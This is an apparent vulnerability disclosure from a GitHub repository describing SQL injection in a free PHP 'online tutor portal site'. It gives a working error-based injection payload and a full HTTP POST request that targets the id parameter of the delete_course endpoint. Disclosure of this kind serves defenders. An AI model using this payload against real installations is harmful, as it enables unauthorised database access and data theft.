

🔑 main ▾

...

0525 / online-tutor-portal-site / sql.md



mikeccltt Update sql.md

🕒 History

👤 1 contributor

33 lines (23 sloc) | 1.15 KB

...

online-tutor-portal-site v1.0 has SQL injection

vendors: <https://www.sourcecodester.com/php/15339/online-tutor-portal-site-phpopp-free-source-code.html>

Date: 2022-05-07

Vulnerability File: /otps/classes/Master.php?f=delete_team

Vulnerability location: /otps/classes/Master.php?f=delete_course, id

[+] Payload: 2'and/**/extractvalue(1,concat(char(126),database()))and'

Tested on Windows 10, XAMPP

```
POST http://192.168.2.102/otps/classes/Master.php?f=delete_course HTTP/1.1
Host: 192.168.2.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
```

Content-Length: 60

Origin: http://192.168.2.102

Connection: close

Referer: http://192.168.2.102/otps/admin/?page=courses

Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj

id=2'and/**/extractvalue(1,concat(char(126),database()))and'

The screenshot displays the 'Online Tutorial Portal Site - Admin' interface. The left sidebar contains navigation links: Dashboard, Course List, Tutor List, Inquiries, Maintenance, User List, and Settings. The main content area is titled 'List of Courses' and features a search bar and a table of course entries. The table has columns for #, Date Created, Image, Tutor, Name, Status, and Action. There are 5 entries listed, with the first entry being 'Course 102' by Blake, Claire C. The status of the courses is 'Active' or 'Inactive'. The bottom of the table shows 'Showing 1 to 5 of 5 entries' and navigation buttons for 'Previous', '1', and 'Next'.

#	Date Created	Image	Tutor	Name	Status	Action
1	2022-05-17 14:50		Blake, Claire C	Course 102	Active	Action
2	2022-05-17 12:05		Cooper, Mark D	MySQL	Active	Action
3	2022-05-18 09:14		Miller, Samantha Jane C	MYSQL	Inactive	Action
4	2022-05-17 12:01		Cooper, Mark D	PHP	Active	Action
5	2022-05-18 09:14		Miller, Samantha Jane C	PHP	Active	Action